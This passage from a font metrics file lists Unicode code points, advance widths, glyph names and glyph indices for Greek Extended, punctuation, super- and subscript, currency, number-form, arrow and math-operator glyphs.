U 8029 ; WX 1133 ; N uni1F5D ; G 1752
U 8031 ; WX 1019 ; N uni1F5F ; G 1753
U 8032 ; WX 952 ; N uni1F60 ; G 1754
U 8033 ; WX 952 ; N uni1F61 ; G 1755
U 8034 ; WX 952 ; N uni1F62 ; G 1756
U 8035 ; WX 952 ; N uni1F63 ; G 1757
U 8036 ; WX 952 ; N uni1F64 ; G 1758
U 8037 ; WX 952 ; N uni1F65 ; G 1759
U 8038 ; WX 952 ; N uni1F66 ; G 1760
U 8039 ; WX 952 ; N uni1F67 ; G 1761
U 8040 ; WX 931 ; N uni1F68 ; G 1762
U 8041 ; WX 963 ; N uni1F69 ; G 1763
U 8042 ; WX 1268 ; N uni1F6A ; G 1764
U 8043 ; WX 1274 ; N uni1F6B ; G 1765
U 8044 ; WX 1054 ; N uni1F6C ; G 1766
U 8045 ; WX 1088 ; N uni1F6D ; G 1767
U 8046 ; WX 1023 ; N uni1F6E ; G 1768
U 8047 ; WX 1060 ; N uni1F6F ; G 1769
U 8048 ; WX 770 ; N uni1F70 ; G 1770
U 8049 ; WX 770 ; N uni1F71 ; G 1771
U 8050 ; WX 608 ; N uni1F72 ; G 1772
U 8051 ; WX 608 ; N uni1F73 ; G 1773
U 8052 ; WX 727 ; N uni1F74 ; G 1774
U 8053 ; WX 727 ; N uni1F75 ; G 1775
U 8054 ; WX 484 ; N uni1F76 ; G 1776
U 8055 ; WX 484 ; N uni1F77 ; G 1777
U 8056 ; WX 667 ; N uni1F78 ; G 1778
U 8057 ; WX 667 ; N uni1F79 ; G 1779
U 8058 ; WX 694 ; N uni1F7A ; G 1780
U 8059 ; WX 694 ; N uni1F7B ; G 1781
U 8060 ; WX 952 ; N uni1F7C ; G 1782
U 8061 ; WX 952 ; N uni1F7D ; G 1783
U 8064 ; WX 770 ; N uni1F80 ; G 1784
U 8065 ; WX 770 ; N uni1F81 ; G 1785
U 8066 ; WX 770 ; N uni1F82 ; G 1786
U 8067 ; WX 770 ; N uni1F83 ; G 1787
U 8068 ; WX 770 ; N uni1F84 ; G 1788
U 8069 ; WX 770 ; N uni1F85 ; G 1789
U 8070 ; WX 770 ; N uni1F86 ; G 1790
U 8071 ; WX 770 ; N uni1F87 ; G 1791
U 8072 ; WX 776 ; N uni1F88 ; G 1792
U 8073 ; WX 776 ; N uni1F89 ; G 1793
U 8074 ; WX 978 ; N uni1F8A ; G 1794
U 8075 ; WX 978 ; N uni1F8B ; G 1795
U 8076 ; WX 832 ; N uni1F8C ; G 1796
U 8077 ; WX 849 ; N uni1F8D ; G 1797
U 8078 ; WX 776 ; N uni1F8E ; G 1798
U 8079 ; WX 776 ; N uni1F8F ; G 1799
U 8080 ; WX 727 ; N uni1F90 ; G 1800
U 8081 ; WX 727 ; N uni1F91 ; G 1801
U 8082 ; WX 727 ; N uni1F92 ; G 1802
U 8083 ; WX 727 ; N uni1F93 ; G 1803
U 8084 ; WX 727 ; N uni1F94 ; G 1804
U 8085 ; WX 727 ; N uni1F95 ; G 1805
U 8086 ; WX 727 ; N uni1F96 ; G 1806
U 8087 ; WX 727 ; N uni1F97 ; G 1807
U 8088 ; WX 1100 ; N uni1F98 ; G 1808
U 8089 ; WX 1094 ; N uni1F99 ; G 1809
U 8090 ; WX 1358 ; N uni1F9A ; G 1810
U 8091 ; WX 1361 ; N uni1F9B ; G 1811
U 8092 ; WX 1279 ; N uni1F9C ; G 1812
U 8093 ; WX 1308 ; N uni1F9D ; G 1813
U 8094 ; WX 1197 ; N uni1F9E ; G 1814
U 8095 ; WX 1194 ; N uni1F9F ; G 1815
U 8096 ; WX 952 ; N uni1FA0 ; G 1816
U 8097 ; WX 952 ; N uni1FA1 ; G 1817
U 8098 ; WX 952 ; N uni1FA2 ; G 1818
U 8099 ; WX 952 ; N uni1FA3 ; G 1819
U 8100 ; WX 952 ; N uni1FA4 ; G 1820
U 8101 ; WX 952 ; N uni1FA5 ; G 1821
U 8102 ; WX 952 ; N uni1FA6 ; G 1822
U 8103 ; WX 952 ; N uni1FA7 ; G 1823
U 8104 ; WX 931 ; N uni1FA8 ; G 1824
U 8105 ; WX 963 ; N uni1FA9 ; G 1825
U 8106 ; WX 1268 ; N uni1FAA ; G 1826
U 8107 ; WX 1274 ; N uni1FAB ; G 1827
U 8108 ; WX 1054 ; N uni1FAC ; G 1828
U 8109 ; WX 1088 ; N uni1FAD ; G 1829
U 8110 ; WX 1023 ; N uni1FAE ; G 1830
U 8111 ; WX 1060 ; N uni1FAF ; G 1831
U 8112 ; WX 770 ; N uni1FB0 ; G 1832
U 8113 ; WX 770 ; N uni1FB1 ; G 1833
U 8114 ; WX 770 ; N uni1FB2 ; G 1834
U 8115 ; WX 770 ; N uni1FB3 ; G 1835
U 8116 ; WX 770 ; N uni1FB4 ; G 1836
U 8118 ; WX 770 ; N uni1FB6 ; G 1837
U 8119 ; WX 770 ; N uni1FB7 ; G 1838
U 8120 ; WX 776 ; N uni1FB8 ; G 1839
U 8121 ; WX 776 ; N uni1FB9 ; G 1840
U 8122 ; WX 811 ; N uni1FBA ; G 1841
U 8123 ; WX 776 ; N uni1FBB ; G 1842
U 8124 ; WX 776 ; N uni1FBC ; G 1843
U 8125 ; WX 500 ; N uni1FBD ; G 1844
U 8126 ; WX 500 ; N uni1FBE ; G 1845
U 8127 ; WX 500 ; N uni1FBF ; G 1846
U 8128 ; WX 500 ; N uni1FC0 ; G 1847
U 8129 ; WX 500 ; N uni1FC1 ; G 1848
U 8130 ; WX 727 ; N uni1FC2 ; G 1849
U 8131 ; WX 727 ; N uni1FC3 ; G 1850
U 8132 ; WX 727 ; N uni1FC4 ; G 1851
U 8134 ; WX 727 ; N uni1FC6 ; G 1852
U 8135 ; WX 727 ; N uni1FC7 ; G 1853
U 8136 ; WX 1000 ; N uni1FC8 ; G 1854
U 8137 ; WX 947 ; N uni1FC9 ; G 1855
U 8138 ; WX 1191 ; N uni1FCA ; G 1856
U 8139 ; WX 1118 ; N uni1FCB ; G 1857
U 8140 ; WX 945 ; N uni1FCC ; G 1858
U 8141 ; WX 500 ; N uni1FCD ; G 1859
U 8142 ; WX 500 ; N uni1FCE ; G 1860
U 8143 ; WX 500 ; N uni1FCF ; G 1861
U 8144 ; WX 484 ; N uni1FD0 ; G 1862
U 8145 ; WX 484 ; N uni1FD1 ; G 1863
U 8146 ; WX 484 ; N uni1FD2 ; G 1864
U 8147 ; WX 484 ; N uni1FD3 ; G 1865
U 8150 ; WX 484 ; N uni1FD6 ; G 1866
U 8151 ; WX 484 ; N uni1FD7 ; G 1867
U 8152 ; WX 468 ; N uni1FD8 ; G 1868
U 8153 ; WX 468 ; N uni1FD9 ; G 1869
U 8154 ; WX 714 ; N uni1FDA ; G 1870
U 8155 ; WX 662 ; N uni1FDB ; G 1871
U 8157 ; WX 500 ; N uni1FDD ; G 1872
U 8158 ; WX 500 ; N uni1FDE ; G 1873
U 8159 ; WX 500 ; N uni1FDF ; G 1874
U 8160 ; WX 694 ; N uni1FE0 ; G 1875
U 8161 ; WX 694 ; N uni1FE1 ; G 1876
U 8162 ; WX 694 ; N uni1FE2 ; G 1877
U 8163 ; WX 694 ; N uni1FE3 ; G 1878
U 8164 ; WX 665 ; N uni1FE4 ; G 1879
U 8165 ; WX 665 ; N uni1FE5 ; G 1880
U 8166 ; WX 694 ; N uni1FE6 ; G 1881
U 8167 ; WX 694 ; N uni1FE7 ; G 1882
U 8168 ; WX 714 ; N uni1FE8 ; G 1883
U 8169 ; WX 714 ; N uni1FE9 ; G 1884
U 8170 ; WX 1019 ; N uni1FEA ; G 1885
U 8171 ; WX 953 ; N uni1FEB ; G 1886
U 8172 ; WX 910 ; N uni1FEC ; G 1887
U 8173 ; WX 500 ; N uni1FED ; G 1888
U 8174 ; WX 500 ; N uni1FEE ; G 1889
U 8175 ; WX 500 ; N uni1FEF ; G 1890
U 8178 ; WX 952 ; N uni1FF2 ; G 1891
U 8179 ; WX 952 ; N uni1FF3 ; G 1892
U 8180 ; WX 952 ; N uni1FF4 ; G 1893
U 8182 ; WX 952 ; N uni1FF6 ; G 1894
U 8183 ; WX 952 ; N uni1FF7 ; G 1895
U 8184 ; WX 1069 ; N uni1FF8 ; G 1896
U 8185 ; WX 887 ; N uni1FF9 ; G 1897
U 8186 ; WX 1101 ; N uni1FFA ; G 1898
U 8187 ; WX 911 ; N uni1FFB ; G 1899
U 8188 ; WX 890 ; N uni1FFC ; G 1900
U 8189 ; WX 500 ; N uni1FFD ; G 1901
U 8190 ; WX 500 ; N uni1FFE ; G 1902
U 8192 ; WX 500 ; N uni2000 ; G 1903
U 8193 ; WX 1000 ; N uni2001 ; G 1904
U 8194 ; WX 500 ; N uni2002 ; G 1905
U 8195 ; WX 1000 ; N uni2003 ; G 1906
U 8196 ; WX 330 ; N uni2004 ; G 1907
U 8197 ; WX 250 ; N uni2005 ; G 1908
U 8198 ; WX 167 ; N uni2006 ; G 1909
U 8199 ; WX 696 ; N uni2007 ; G 1910
U 8200 ; WX 348 ; N uni2008 ; G 1911
U 8201 ; WX 200 ; N uni2009 ; G 1912
U 8202 ; WX 100 ; N uni200A ; G 1913
U 8203 ; WX 0 ; N uni200B ; G 1914
U 8204 ; WX 0 ; N uni200C ; G 1915
U 8205 ; WX 0 ; N uni200D ; G 1916
U 8206 ; WX 0 ; N uni200E ; G 1917
U 8207 ; WX 0 ; N uni200F ; G 1918
U 8208 ; WX 415 ; N uni2010 ; G 1919
U 8209 ; WX 415 ; N uni2011 ; G 1920
U 8210 ; WX 696 ; N figuredash ; G 1921
U 8211 ; WX 500 ; N endash ; G 1922
U 8212 ; WX 1000 ; N emdash ; G 1923
U 8213 ; WX 1000 ; N uni2015 ; G 1924
U 8214 ; WX 500 ; N uni2016 ; G 1925
U 8215 ; WX 500 ; N underscoredbl ; G 1926
U 8216 ; WX 348 ; N quoteleft ; G 1927
U 8217 ; WX 348 ; N quoteright ; G 1928
U 8218 ; WX 348 ; N quotesinglbase ; G 1929
U 8219 ; WX 348 ; N quotereversed ; G 1930
U 8220 ; WX 575 ; N quotedblleft ; G 1931
U 8221 ; WX 575 ; N quotedblright ; G 1932
U 8222 ; WX 575 ; N quotedblbase ; G 1933
U 8223 ; WX 575 ; N uni201F ; G 1934
U 8224 ; WX 523 ; N dagger ; G 1935
U 8225 ; WX 523 ; N daggerdbl ; G 1936
U 8226 ; WX 639 ; N bullet ; G 1937
U 8227 ; WX 639 ; N uni2023 ; G 1938
U 8228 ; WX 348 ; N onedotenleader ; G 1939
U 8229 ; WX 674 ; N twodotenleader ; G 1940
U 8230 ; WX 1000 ; N ellipsis ; G 1941
U 8234 ; WX 0 ; N uni202A ; G 1942
U 8235 ; WX 0 ; N uni202B ; G 1943
U 8236 ; WX 0 ; N uni202C ; G 1944
U 8237 ; WX 0 ; N uni202D ; G 1945
U 8238 ; WX 0 ; N uni202E ; G 1946
U 8239 ; WX 200 ; N uni202F ; G 1947
U 8240 ; WX 1385 ; N perthousand ; G 1948
U 8241 ; WX 1820 ; N uni2031 ; G 1949
U 8242 ; WX 264 ; N minute ; G 1950
U 8243 ; WX 447 ; N second ; G 1951
U 8244 ; WX 630 ; N uni2034 ; G 1952
U 8245 ; WX 264 ; N uni2035 ; G 1953
U 8246 ; WX 447 ; N uni2036 ; G 1954
U 8247 ; WX 630 ; N uni2037 ; G 1955
U 8248 ; WX 733 ; N uni2038 ; G 1956
U 8249 ; WX 400 ; N guilsinglleft ; G 1957
U 8250 ; WX 400 ; N guilsinglright ; G 1958
U 8252 ; WX 629 ; N exclamdbl ; G 1959
U 8253 ; WX 586 ; N uni203D ; G 1960
U 8254 ; WX 500 ; N uni203E ; G 1961
U 8258 ; WX 1023 ; N uni2042 ; G 1962
U 8260 ; WX 167 ; N fraction ; G 1963
U 8261 ; WX 473 ; N uni2045 ; G 1964
U 8262 ; WX 473 ; N uni2046 ; G 1965
U 8263 ; WX 1082 ; N uni2047 ; G 1966
U 8264 ; WX 856 ; N uni2048 ; G 1967
U 8265 ; WX 856 ; N uni2049 ; G 1968
U 8267 ; WX 636 ; N uni204B ; G 1969
U 8268 ; WX 500 ; N uni204C ; G 1970
U 8269 ; WX 500 ; N uni204D ; G 1971
U 8270 ; WX 523 ; N uni204E ; G 1972
U 8271 ; WX 369 ; N uni204F ; G 1973
U 8273 ; WX 523 ; N uni2051 ; G 1974
U 8274 ; WX 556 ; N uni2052 ; G 1975
U 8275 ; WX 1000 ; N uni2053 ; G 1976
U 8279 ; WX 813 ; N uni2057 ; G 1977
U 8287 ; WX 222 ; N uni205F ; G 1978
U 8288 ; WX 0 ; N uni2060 ; G 1979
U 8289 ; WX 0 ; N uni2061 ; G 1980
U 8290 ; WX 0 ; N uni2062 ; G 1981
U 8291 ; WX 0 ; N uni2063 ; G 1982
U 8292 ; WX 0 ; N uni2064 ; G 1983
U 8298 ; WX 0 ; N uni206A ; G 1984
U 8299 ; WX 0 ; N uni206B ; G 1985
U 8300 ; WX 0 ; N uni206C ; G 1986
U 8301 ; WX 0 ; N uni206D ; G 1987
U 8302 ; WX 0 ; N uni206E ; G 1988
U 8303 ; WX 0 ; N uni206F ; G 1989
U 8304 ; WX 438 ; N uni2070 ; G 1990
U 8305 ; WX 239 ; N uni2071 ; G 1991
U 8308 ; WX 438 ; N uni2074 ; G 1992
U 8309 ; WX 438 ; N uni2075 ; G 1993
U 8310 ; WX 438 ; N uni2076 ; G 1994
U 8311 ; WX 438 ; N uni2077 ; G 1995
U 8312 ; WX 438 ; N uni2078 ; G 1996
U 8313 ; WX 438 ; N uni2079 ; G 1997
U 8314 ; WX 528 ; N uni207A ; G 1998
U 8315 ; WX 528 ; N uni207B ; G 1999
U 8316 ; WX 528 ; N uni207C ; G 2000
U 8317 ; WX 298 ; N uni207D ; G 2001
U 8318 ; WX 298 ; N uni207E ; G 2002
U 8319 ; WX 519 ; N uni207F ; G 2003
U 8320 ; WX 438 ; N uni2080 ; G 2004
U 8321 ; WX 438 ; N uni2081 ; G 2005
U 8322 ; WX 438 ; N uni2082 ; G 2006
U 8323 ; WX 438 ; N uni2083 ; G 2007
U 8324 ; WX 438 ; N uni2084 ; G 2008
U 8325 ; WX 438 ; N uni2085 ; G 2009
U 8326 ; WX 438 ; N uni2086 ; G 2010
U 8327 ; WX 438 ; N uni2087 ; G 2011
U 8328 ; WX 438 ; N uni2088 ; G 2012
U 8329 ; WX 438 ; N uni2089 ; G 2013
U 8330 ; WX 528 ; N uni208A ; G 2014
U 8331 ; WX 528 ; N uni208B ; G 2015
U 8332 ; WX 528 ; N uni208C ; G 2016
U 8333 ; WX 298 ; N uni208D ; G 2017
U 8334 ; WX 298 ; N uni208E ; G 2018
U 8336 ; WX 466 ; N uni2090 ; G 2019
U 8337 ; WX 444 ; N uni2091 ; G 2020
U 8338 ; WX 467 ; N uni2092 ; G 2021
U 8339 ; WX 475 ; N uni2093 ; G 2022
U 8340 ; WX 444 ; N uni2094 ; G 2023
U 8341 ; WX 521 ; N uni2095 ; G 2024
U 8342 ; WX 523 ; N uni2096 ; G 2025
U 8343 ; WX 292 ; N uni2097 ; G 2026
U 8344 ; WX 729 ; N uni2098 ; G 2027
U 8345 ; WX 519 ; N uni2099 ; G 2028
U 8346 ; WX 499 ; N uni209A ; G 2029
U 8347 ; WX 395 ; N uni209B ; G 2030
U 8348 ; WX 371 ; N uni209C ; G 2031
U 8358 ; WX 696 ; N uni20A6 ; G 2032
U 8364 ; WX 696 ; N Euro ; G 2033
U 8367 ; WX 1155 ; N uni20AF ; G 2034
U 8369 ; WX 790 ; N uni20B1 ; G 2035
U 8372 ; WX 876 ; N uni20B4 ; G 2036
U 8373 ; WX 696 ; N uni20B5 ; G 2037
U 8376 ; WX 696 ; N uni20B8 ; G 2038
U 8377 ; WX 696 ; N uni20B9 ; G 2039
U 8378 ; WX 696 ; N uni20BA ; G 2040
U 8381 ; WX 696 ; N uni20BD ; G 2041
U 8451 ; WX 1198 ; N uni2103 ; G 2042
U 8457 ; WX 1112 ; N uni2109 ; G 2043
U 8462 ; WX 727 ; N uni210E ; G 2044
U 8463 ; WX 727 ; N uni210F ; G 2045
U 8470 ; WX 1087 ; N uni2116 ; G 2046
U 8482 ; WX 1000 ; N trademark ; G 2047
U 8486 ; WX 890 ; N uni2126 ; G 2048
U 8487 ; WX 890 ; N uni2127 ; G 2049
U 8490 ; WX 869 ; N uni212A ; G 2050
U 8491 ; WX 776 ; N uni212B ; G 2051
U 8498 ; WX 710 ; N uni2132 ; G 2052
U 8513 ; WX 775 ; N uni2141 ; G 2053
U 8514 ; WX 557 ; N uni2142 ; G 2054
U 8515 ; WX 637 ; N uni2143 ; G 2055
U 8516 ; WX 760 ; N uni2144 ; G 2056
U 8523 ; WX 903 ; N uni214B ; G 2057
U 8526 ; WX 592 ; N uni214E ; G 2058
U 8528 ; WX 1035 ; N uni2150 ; G 2059
U 8529 ; WX 1035 ; N uni2151 ; G 2060
U 8530 ; WX 1473 ; N uni2152 ; G 2061
U 8531 ; WX 1035 ; N onethird ; G 2062
U 8532 ; WX 1035 ; N twothirds ; G 2063
U 8533 ; WX 1035 ; N uni2155 ; G 2064
U 8534 ; WX 1035 ; N uni2156 ; G 2065
U 8535 ; WX 1035 ; N uni2157 ; G 2066
U 8536 ; WX 1035 ; N uni2158 ; G 2067
U 8537 ; WX 1035 ; N uni2159 ; G 2068
U 8538 ; WX 1035 ; N uni215A ; G 2069
U 8539 ; WX 1035 ; N oneeighth ; G 2070
U 8540 ; WX 1035 ; N threeeighths ; G 2071
U 8541 ; WX 1035 ; N fiveeighths ; G 2072
U 8542 ; WX 1035 ; N seveneighths ; G 2073
U 8543 ; WX 615 ; N uni215F ; G 2074
U 8544 ; WX 468 ; N uni2160 ; G 2075
U 8545 ; WX 843 ; N uni2161 ; G 2076
U 8546 ; WX 1218 ; N uni2162 ; G 2077
U 8547 ; WX 1135 ; N uni2163 ; G 2078
U 8548 ; WX 776 ; N uni2164 ; G 2079
U 8549 ; WX 1150 ; N uni2165 ; G 2080
U 8550 ; WX 1525 ; N uni2166 ; G 2081
U 8551 ; WX 1900 ; N uni2167 ; G 2082
U 8552 ; WX 1126 ; N uni2168 ; G 2083
U 8553 ; WX 776 ; N uni2169 ; G 2084
U 8554 ; WX 1127 ; N uni216A ; G 2085
U 8555 ; WX 1502 ; N uni216B ; G 2086
U 8556 ; WX 703 ; N uni216C ; G 2087
U 8557 ; WX 796 ; N uni216D ; G 2088
U 8558 ; WX 867 ; N uni216E ; G 2089
U 8559 ; WX 1107 ; N uni216F ; G 2090
U 8560 ; WX 380 ; N uni2170 ; G 2091
U 8561 ; WX 760 ; N uni2171 ; G 2092
U 8562 ; WX 1140 ; N uni2172 ; G 2093
U 8563 ; WX 961 ; N uni2173 ; G 2094
U 8564 ; WX 581 ; N uni2174 ; G 2095
U 8565 ; WX 961 ; N uni2175 ; G 2096
U 8566 ; WX 1341 ; N uni2176 ; G 2097
U 8567 ; WX 1721 ; N uni2177 ; G 2098
U 8568 ; WX 976 ; N uni2178 ; G 2099
U 8569 ; WX 596 ; N uni2179 ; G 2100
U 8570 ; WX 976 ; N uni217A ; G 2101
U 8571 ; WX 1356 ; N uni217B ; G 2102
U 8572 ; WX 380 ; N uni217C ; G 2103
U 8573 ; WX 609 ; N uni217D ; G 2104
U 8574 ; WX 699 ; N uni217E ; G 2105
U 8575 ; WX 1058 ; N uni217F ; G 2106
U 8576 ; WX 1255 ; N uni2180 ; G 2107
U 8577 ; WX 867 ; N uni2181 ; G 2108
U 8578 ; WX 1268 ; N uni2182 ; G 2109
U 8579 ; WX 796 ; N uni2183 ; G 2110
U 8580 ; WX 609 ; N uni2184 ; G 2111
U 8581 ; WX 796 ; N uni2185 ; G 2112
U 8585 ; WX 1035 ; N uni2189 ; G 2113
U 8592 ; WX 838 ; N arrowleft ; G 2114
U 8593 ; WX 838 ; N arrowup ; G 2115
U 8594 ; WX 838 ; N arrowright ; G 2116
U 8595 ; WX 838 ; N arrowdown ; G 2117
U 8596 ; WX 838 ; N arrowboth ; G 2118
U 8597 ; WX 838 ; N arrowupdn ; G 2119
U 8598 ; WX 838 ; N uni2196 ; G 2120
U 8599 ; WX 838 ; N uni2197 ; G 2121
U 8600 ; WX 838 ; N uni2198 ; G 2122
U 8601 ; WX 838 ; N uni2199 ; G 2123
U 8602 ; WX 838 ; N uni219A ; G 2124
U 8603 ; WX 838 ; N uni219B ; G 2125
U 8604 ; WX 838 ; N uni219C ; G 2126
U 8605 ; WX 838 ; N uni219D ; G 2127
U 8606 ; WX 838 ; N uni219E ; G 2128
U 8607 ; WX 838 ; N uni219F ; G 2129
U 8608 ; WX 838 ; N uni21A0 ; G 2130
U 8609 ; WX 838 ; N uni21A1 ; G 2131
U 8610 ; WX 838 ; N uni21A2 ; G 2132
U 8611 ; WX 838 ; N uni21A3 ; G 2133
U 8612 ; WX 838 ; N uni21A4 ; G 2134
U 8613 ; WX 838 ; N uni21A5 ; G 2135
U 8614 ; WX 838 ; N uni21A6 ; G 2136
U 8615 ; WX 838 ; N uni21A7 ; G 2137
U 8616 ; WX 838 ; N arrowupdnbse ; G 2138
U 8617 ; WX 838 ; N uni21A9 ; G 2139
U 8618 ; WX 838 ; N uni21AA ; G 2140
U 8619 ; WX 838 ; N uni21AB ; G 2141
U 8620 ; WX 838 ; N uni21AC ; G 2142
U 8621 ; WX 838 ; N uni21AD ; G 2143
U 8622 ; WX 838 ; N uni21AE ; G 2144
U 8623 ; WX 850 ; N uni21AF ; G 2145
U 8624 ; WX 838 ; N uni21B0 ; G 2146
U 8625 ; WX 838 ; N uni21B1 ; G 2147
U 8626 ; WX 838 ; N uni21B2 ; G 2148
U 8627 ; WX 838 ; N uni21B3 ; G 2149
U 8628 ; WX 838 ; N uni21B4 ; G 2150
U 8629 ; WX 838 ; N carriagereturn ; G 2151
U 8630 ; WX 838 ; N uni21B6 ; G 2152
U 8631 ; WX 838 ; N uni21B7 ; G 2153
U 8632 ; WX 838 ; N uni21B8 ; G 2154
U 8633 ; WX 838 ; N uni21B9 ; G 2155
U 8634 ; WX 838 ; N uni21BA ; G 2156
U 8635 ; WX 838 ; N uni21BB ; G 2157
U 8636 ; WX 838 ; N uni21BC ; G 2158
U 8637 ; WX 838 ; N uni21BD ; G 2159
U 8638 ; WX 838 ; N uni21BE ; G 2160
U 8639 ; WX 838 ; N uni21BF ; G 2161
U 8640 ; WX 838 ; N uni21C0 ; G 2162
U 8641 ; WX 838 ; N uni21C1 ; G 2163
U 8642 ; WX 838 ; N uni21C2 ; G 2164
U 8643 ; WX 838 ; N uni21C3 ; G 2165
U 8644 ; WX 838 ; N uni21C4 ; G 2166
U 8645 ; WX 838 ; N uni21C5 ; G 2167
U 8646 ; WX 838 ; N uni21C6 ; G 2168
U 8647 ; WX 838 ; N uni21C7 ; G 2169
U 8648 ; WX 838 ; N uni21C8 ; G 2170
U 8649 ; WX 838 ; N uni21C9 ; G 2171
U 8650 ; WX 838 ; N uni21CA ; G 2172
U 8651 ; WX 838 ; N uni21CB ; G 2173
U 8652 ; WX 838 ; N uni21CC ; G 2174
U 8653 ; WX 838 ; N uni21CD ; G 2175
U 8654 ; WX 838 ; N uni21CE ; G 2176
U 8655 ; WX 838 ; N uni21CF ; G 2177
U 8656 ; WX 838 ; N arrowdblleft ; G 2178
U 8657 ; WX 838 ; N arrowdblup ; G 2179
U 8658 ; WX 838 ; N arrowdblright ; G 2180
U 8659 ; WX 838 ; N arrowdbldown ; G 2181
U 8660 ; WX 838 ; N arrowdblboth ; G 2182
U 8661 ; WX 838 ; N uni21D5 ; G 2183
U 8662 ; WX 838 ; N uni21D6 ; G 2184
U 8663 ; WX 838 ; N uni21D7 ; G 2185
U 8664 ; WX 838 ; N uni21D8 ; G 2186
U 8665 ; WX 838 ; N uni21D9 ; G 2187
U 8666 ; WX 838 ; N uni21DA ; G 2188
U 8667 ; WX 838 ; N uni21DB ; G 2189
U 8668 ; WX 838 ; N uni21DC ; G 2190
U 8669 ; WX 838 ; N uni21DD ; G 2191
U 8670 ; WX 838 ; N uni21DE ; G 2192
U 8671 ; WX 838 ; N uni21DF ; G 2193
U 8672 ; WX 838 ; N uni21E0 ; G 2194
U 8673 ; WX 838 ; N uni21E1 ; G 2195
U 8674 ; WX 838 ; N uni21E2 ; G 2196
U 8675 ; WX 838 ; N uni21E3 ; G 2197
U 8676 ; WX 838 ; N uni21E4 ; G 2198
U 8677 ; WX 838 ; N uni21E5 ; G 2199
U 8678 ; WX 838 ; N uni21E6 ; G 2200
U 8679 ; WX 838 ; N uni21E7 ; G 2201
U 8680 ; WX 838 ; N uni21E8 ; G 2202
U 8681 ; WX 838 ; N uni21E9 ; G 2203
U 8682 ; WX 838 ; N uni21EA ; G 2204
U 8683 ; WX 838 ; N uni21EB ; G 2205
U 8684 ; WX 838 ; N uni21EC ; G 2206
U 8685 ; WX 838 ; N uni21ED ; G 2207
U 8686 ; WX 838 ; N uni21EE ; G 2208
U 8687 ; WX 838 ; N uni21EF ; G 2209
U 8688 ; WX 838 ; N uni21F0 ; G 2210
U 8689 ; WX 838 ; N uni21F1 ; G 2211
U 8690 ; WX 838 ; N uni21F2 ; G 2212
U 8691 ; WX 838 ; N uni21F3 ; G 2213
U 8692 ; WX 838 ; N uni21F4 ; G 2214
U 8693 ; WX 838 ; N uni21F5 ; G 2215
U 8694 ; WX 838 ; N uni21F6 ; G 2216
U 8695 ; WX 838 ; N uni21F7 ; G 2217
U 8696 ; WX 838 ; N uni21F8 ; G 2218
U 8697 ; WX 838 ; N uni21F9 ; G 2219
U 8698 ; WX 838 ; N uni21FA ; G 2220
U 8699 ; WX 838 ; N uni21FB ; G 2221
U 8700 ; WX 838 ; N uni21FC ; G 2222
U 8701 ; WX 838 ; N uni21FD ; G 2223
U 8702 ; WX 838 ; N uni21FE ; G 2224
U 8703 ; WX 838 ; N uni21FF ; G 2225
U 8704 ; WX 641 ; N universal ; G 2226
U 8706 ; WX 534 ; N partialdiff ; G 2227
U 8707 ; WX 620 ; N existential ; G 2228
U 8708 ; WX 620 ; N uni2204 ; G 2229
U 8710 ; WX 753 ; N increment ; G 2230
U 8711 ; WX 753 ; N gradient ; G 2231
U 8712 ; WX 740 ; N element ; G 2232
U 8713 ; WX 740 ; N notelement ; G 2233
U 8715 ; WX 740 ; N suchthat ; G 2234
U 8716 ; WX 740 ; N uni220C ; G 2235
U 8719 ; WX 842 ; N product ; G 2236
U 8720 ; WX 842 ; N uni2210 ; G 2237
U 8721 ; WX 753 ; N summation ; G 2238
U 8722 ; WX 838 ; N minus ; G 2239
U 8723 ; WX 838 ; N uni2213 ; G 2240
U 8724 ; WX 838 ; N uni2214 ; G 2241
U 8725 ; WX 365 ; N uni2215 ; G 2242
U 8727 ; WX 691 ; N asteriskmath ; G 2243
U 8728 ; WX 519 ; N uni2218 ; G 2244
U 8729 ; WX 519 ; N uni2219 ; G 2245
U 8730 ; WX 657 ; N radical ; G 2246
U 8731 ; WX 657 ; N uni221B ; G 2247
U 8732 ; WX 657 ; N uni221C ; G 2248
U 8733 ; WX 672 ; N proportional ; G 2249
U 8734 ; WX 833 ; N infinity ; G 2250
U 8735 ; WX 838 ; N orthogonal ; G 2251
U 8736 ; WX 838 ; N angle ; G 2252
U 8739 ; WX 324 ; N uni2223 ; G 2253
U 8740 ; WX 607 ; N uni2224 ; G 2254
U 8741 ; WX 529 ; N uni2225 ; G 2255
U 8742 ; WX 773 ; N uni2226 ; G 2256
U 8743 ; WX 812 ; N logicaland ; G 2257
U 8744 ; WX 812 ; N logicalor ; G 2258
U 8745 ; WX 838 ; N intersection ; G 2259
U 8746 ; WX 838 ; N union ; G 2260
U 8747 ; WX 579 ; N integral ; G 2261
U 8748 ; WX 1000 ; N uni222C ; G 2262
U 8749 ; WX 1391 ; N uni222D ; G 2263
U 8760 ; WX 838 ; N uni2238 ; G 2264
U 8761 ; WX 838 ; N uni2239 ; G 2265
U 8762 ; WX 838 ; N uni223A ; G 2266
U 8763 ; WX 838 ; N uni223B ; G 2267
U 8764 ; WX 838 ; N similar ; G 2268
U 8765 ; WX 838 ; N uni223D ; G 2269
U 8770 ; WX 838 ; N uni2242 ; G 2270
U 8771 ; WX 838 ; N uni2243 ; G 2271
U 8776 ; WX 838 ; N approxequal ; G 2272
U 8784 ; WX 838 ; N uni2250 ; G 2273
U 8785 ; WX 838 ; N uni2251 ; G 2274
U 8786 ; WX 838 ; N uni2252 ; G 2275
U 8787 ; WX 838 ; N uni2253 ; G 2276
U 8788 ; WX 1082 ; N uni2254 ; G 2277
U 8789 ; WX 1082 ; N uni2255 ; G 2278
U 8800 ; WX 838 ; N notequal ; G 2279
U 8801 ; WX 838 ; N equivalence ; G 2280
U 8804 ; WX 838 ; N lessequal ; G 2281
U 8805 ; WX 838 ; N greaterequal ; G 2282
U 8834 ; WX 838 ; N propersubset ; G 2283
U 8835 ; WX 838 ; N propersuperset ; G 2284
U 8836 ; WX 838 ; N notsubset ; G 2285
U 8837 ; WX 838 ; N uni2285 ; G 2286
U 8838 ; WX 838 ; N reflexsubset ; G 2287
U 8839 ; WX 838 ; N reflexsuperset ; G 2288
U 8844 ; WX 838 ; N uni228C ; G 2289
U 8845 ; WX 838 ; N uni228D ; G 2290
U 8846 ; WX 838 ; N uni228E ; G 2291
U 8847 ; WX 838 ; N uni228F ; G 2292
U 8848 ; WX 838 ; N uni2290 ; G 2293
U 8849 ; WX 838 ; N uni2291 ; G 2294
U 8850 ; WX 838 ; N uni2292 ; G 2295
U 8851 ; WX 838 ; N uni2293 ; G 2296
U 8852 ; WX 838 ; N uni2294 ; G 2297
U 8853 ; WX 838 ; N circleplus ; G 2298
U 8854 ; WX 838 ; N uni2296 ; G 2299
